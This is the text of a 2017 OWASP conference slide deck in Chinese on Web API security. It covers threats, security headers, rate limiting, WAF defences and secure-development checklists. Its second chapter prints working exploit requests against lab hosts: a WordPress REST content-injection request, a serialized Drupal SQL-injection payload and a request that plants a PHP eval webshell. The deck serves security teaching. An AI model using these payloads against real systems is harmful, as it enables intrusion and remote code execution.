OWASP

Open Web Application Security Project

Web API 安全漏洞与检测防护

徐诣博

2017.8.25

OWASP
Open Web Application
Security Project

目录

Contents Page

OWASP
Open Web Application
Security Project

第 1 章

Web API 安全威胁

目录

Contents Page

什么是 Web API

- 使用 HTTP 协议通过网络调用的 API
- Web API 是一个 Web 系统，可以通过访问 URI 与服务器完成信息交互，或者获取存放在服务器上的数据信息等，调用者通过程序访问并机械地使用这些数据。
- Web API 和 Web Services
- JSON

谁在用 Web API




蚂蚁金服
ANT FINANCIAL
开放平台
ant-open.com


PayPal




Google

Tencent 腾讯

微信

Baidu 百度


亚马逊
amazon.cn

YAHOO!

京东云
JCLOUD.COM

滴滴出行
滴滴一下美好出行

饿了么

ebay

API 安全威胁

- 非法信息窃取
- 浏览器访问 Web API 的意外
- Web API 业务漏洞
- Web API 访问速率限制不当
- HTTP 头部设置不当

非法信息窃取

- HTTP 嗅探/HTTPS 嗅探，会话劫持
  - HTTPS TLS 1.2
  - SSLStrip 攻击
  - HSTS
- SSL 漏洞
  - 2014 OpenSSL Heartbleed 安全漏洞
  - CCS 注入漏洞
- 客户端证书验证漏洞
  - 证书有效性验证
- HTTPS性能
  - 是否允许一些 Web API 采用 HTTP

浏览器访问 Web API 的意外

- XSS
  - 输入/输出过滤
  - 严格的 Content-Type 限制
- CSRF
  - CSRF Token
- XXE
  - XML 解析
- JSON劫持
  - X-Requeated-With
  - 浏览器 JSON 数据识别
  - 禁止 Javascript 执行 JSON 数据

Web API 业务漏洞

- 参数篡改
  - 连续编号 ID /订单
  - 1 元支付
- 重放攻击
  - 伪装支付
- 权限控制
  - 越权操作

Web API 访问速率限制不当

- API 大规模访问/DoS 攻击
  - API 访问速率控制
    - 限制单用户访问次数
      - 识别用户/限速单位/何时重置
    - 429 状态码
      - HTTP/1.1 429 Too Many Requests
      - Retry-After: 3600
    - HTTP 头部传递限速信息
      - X-RateLimit-Limit　单位时间访问上限
      - X-RateLimit-Remaining　剩余访问次数
      - X-RateLimit-Rest　访问次数重置时间

HTTP 头部设置不当

- X-Content-Type-Options: nosniff
  - > = IE8 nosniff
- X-XSS-Protection
  - > = IE8 X-XSS-Protection: 1; mode=block
  - Chrome/Firefox 中无效
- X-Frame-Options
  - Deny <frame>,<iframe>,<object>
  - > = IE8 deny
- Content-Security-Policy
  - 减轻 XSS， 定义 script,images,fonts,css 白名单

HTTP 头部设置不当

- Strict-Transport-Security
  - HSTS
  - Strict-Transport-Security: max-age=<expire-time>; preload
- Public-Key-Pins
  - HTTP-based pulic key pinning HPKP
  - Public-Key-Pins: pin-sha256=<base64==>; max-age=<expireTime>; report-uri=<reportURI>
  - https://www.ssllabs.com/ssltest/
- Set-Cookie
  - Secure
  - HttpOnly

Github API 首部

```
Content-Type: application/octet-stream
Server: GitHub.com
Status: 304 Not Modified
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 56
X-RateLimit-Reset: 1503480422
Cache-Control: public, max-age=60, s-maxage=60
Vary: Accept
ETag: "96b3e676e6c73a05b197116e58be9b8c"
Last-Modified: Fri, 26 Feb 2016 22:45:40 GMT
Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-R
erval
Access-Control-Allow-Origin: *
Content-Security-Policy: default-src 'none'
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-Runtime-rack: 0.036556
Vary: Accept-Encoding
X-GitHub-Request-Id: D0F1:5FD5:1039E1:14E4CB:599D3D13
```

OWASP
Open Web Application
Security Project

第 2 章

Web API 安全漏洞

目录

Contents Page

常见的 Web API 安全漏洞

- WordPress 4.7 / 4.7.1 REST API 内容注入漏洞
- Drupal Module RESTWS 7.x - Remote PHP Code Execution
- SugarCRM 6.5.23 - REST PHP Object Injection Exploit
- Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution
- Oracle GlassFish Server - REST CSRF
- QQ Browser 9.6 API 权限控制问题导致泄露隐私模式
- Hacking Docker： Registry API 未授权访问

WordPress REST API 内容注入漏洞

/wp-json/wp/v2/posts/1?id=1abc id=1abc 等于 id=1

```
POST /cms/wordpress_v4_7_1/wordpress/wp-json/wp/v2/posts/1/?id=1abc HTTP/1.1
Accept-Encoding: identity
Content-Length: 26
Host: 172.16.7.20
Content-Type: application/json
Connection: close
User-Agent: Python-urllib/2.7


{"title": "wwwwwwwwwwwww"}
```

Drupal 7.X Services Module Unserialize() to RCE

SQL 注入攻击

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: 172.16.7.20
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 888

a:2:{s:8:"username";O:19:"SelectQueryExtender":4:{s:8:".*.query";O:17:"DatabaseCondition":5:{s:13:".*.conditions";a:1:{s:12:"#conjunction";s:3:"AND";}s:12:".*.arguments";a:0:{}s:10:".*.changed";b:0;s:29:".*.queryPlaceholderIdentifier";N;s:13:"stringVersion";s:494:"0x3a) UNION SELECT ux.uid AS uid, ux.name AS name, 'SD2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd' AS pass, ux.mail AS mail, ux.theme AS theme, (SELECT data FROM {cache} WHERE cid='services:my_rest_endpoint:resources') AS signature, ux.pass AS signature_format, ux.created AS created, ux.access AS access, ux.login AS login, ux.status AS status, ux.timezone AS timezone, ux.language AS language, ux.picture AS picture, ux.init AS init, ux.data AS data FROM {users} ux WHERE ux.uid<>(0";}s:19:".*.uniqueIdentifier";s:8:"anything";s:13:".*.connection";N;s:14:".*.placeholder";i:0;}s:8:"password";s:10:"ouvreboite";}

Drupal 7.X Services Module Unserialize() to RCE

PHP 远程代码执行

```
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: 172.16.7.20
Accept: application/json
Content-Type: application/json
Content-Length: 91

{"filename":"dixuSOspsOUU.php","data":"<?php
eval(file_get_contents('php:\/\/input')); ?>"}
```

Drupal Core – 高危漏洞

REST 权限控制 bypass

- Drupal CVE-2017-6919 Access Bypass Vulnerability
- File REST resource does not properly validate - Less Critical - Drupal 8 - CVE-2017-6921
- REST API can bypass comment approval - Access Bypass - Moderately Critical - Drupal 8 - CVE-2017-6924

Web API 渗透测试

- 渗透测试工具
  - BurpSuite
  - Postman
  - Hurl.it
  - SoapUI NG Pro
  - Fuzzapi
- 渗透测试平台
  - Hackazon
  - Mutillidae
  - DVWS

OWASP
Open Web Application
Security Project

第 3 章

WAF Web API 漏洞防护

目录

Contents Page

WAF 防护 Web API 漏洞攻击

- 通用漏洞防护
- Web API 访问合规
- Web API 访问速率控制
- Web API 防护难点

通用漏洞防护

- SQL 注入
- XSS
- CSRF
- XXE
- 命令注入
- 代码注入
- 暴力破解

Web API 访问合规

- 输入/输出校验
  - URI
  - Content-Type
    - application/xml
    - application/json
    - application/vnd.php.serialized
- API 访问自学习

Web API 访问速率控制

- 分配会话 CID Cookie
- 针对特定的 URI
  - Requests / Minute
  - Requests / Session
  - Session Length

Web API 防护难点

- API 是为程序调用而设计
- API 常见格式
  - JSON/XML/php.serialized 解析
    - JSON 主流
    - XML 逐渐减少
    - PHP 广泛性
  - GWT 框架 JavaRMI Google x
  - WebSockets ws://** x
- Web Services SOAP
- 权限管理与访问控制
- WAF API 防护能力与配置成本

OWASP
Open Web Application Security Project

第 4 章

Web API 安全开发建议

目录

Contents Page

开发建议

- 完善的 API 文档
- 约定俗称的开发规范
- 关键应用 API 沙盒
  - 涉及支付/个人信息
- API Console
- API SDK

URI

- URI 是否短小且易输入
- URI 是否见名知意
- URI 是否只有小写字母组成
- URI 是否容易修改
- URI 是否反映了服务器的架构
- URI 是否统一
- URI 中的单词表示的意思是否通识
- URI 中名词是否为复数形式
- URI 中有没有空格和需要编码的字符
- URI 中单词和单词之间是否使用连接符(-)

身份认证

- 登录是否使用 Oauth 2.0
- JSON Web Tokens (JWT)

响应数据

- 响应数据是否使用 JSON 作为默认格式
- 响应数据是否支持了不必要的 JSONP
- 响应数据是否可以被客户端篡改
- 响应数据的结构是否尽量扁平化
- 响应数据是否用对象来描述而不是数组
- 响应数据中的名称所用的单词是否通识
- 响应数据中名称是否在整个 API 里面保持一致
- 响应数据中是否用了奇怪的缩写
- 响应数据的名称单复数是否和数据内容一致

响应数据

- 出错时响应数据是否便于定位分析
- 出错时是否返回 HTML 数据
- 是否返回合适的状态码
- 是否返回为合适的媒体类型
- 能否支持 CORS
- 是否设置合适的头部控制缓存

其他

- 是否对 API 进行版本管理
- API 版本命名时有没有遵循语义化版本控制
- 是否在 URI 中嵌入版本编号
- 是否考虑版本兼容性及 API 版本终止事宜
- 是否使用 HTTPS 来提供 API
- 是否正确处理 JSON 转义
- 是否通过 X-Requested-With 首部防止 Javascript 读取 JSON 数据
- 浏览器访问 API 时是否设置 CSRF Token
- 是否对 API 接收参数做非法性检验
- 是否有 API 访问次数/速率控制
- 是否正确的设置 HTTP 安全头部

API-Security-Checklist

- API-Security-Checklist

  https://github.com/shieldfy/API-Security-Checklist/

Venustech

THANKS!

谢 谢 观 看

OWASP
Open Web Application
Security Project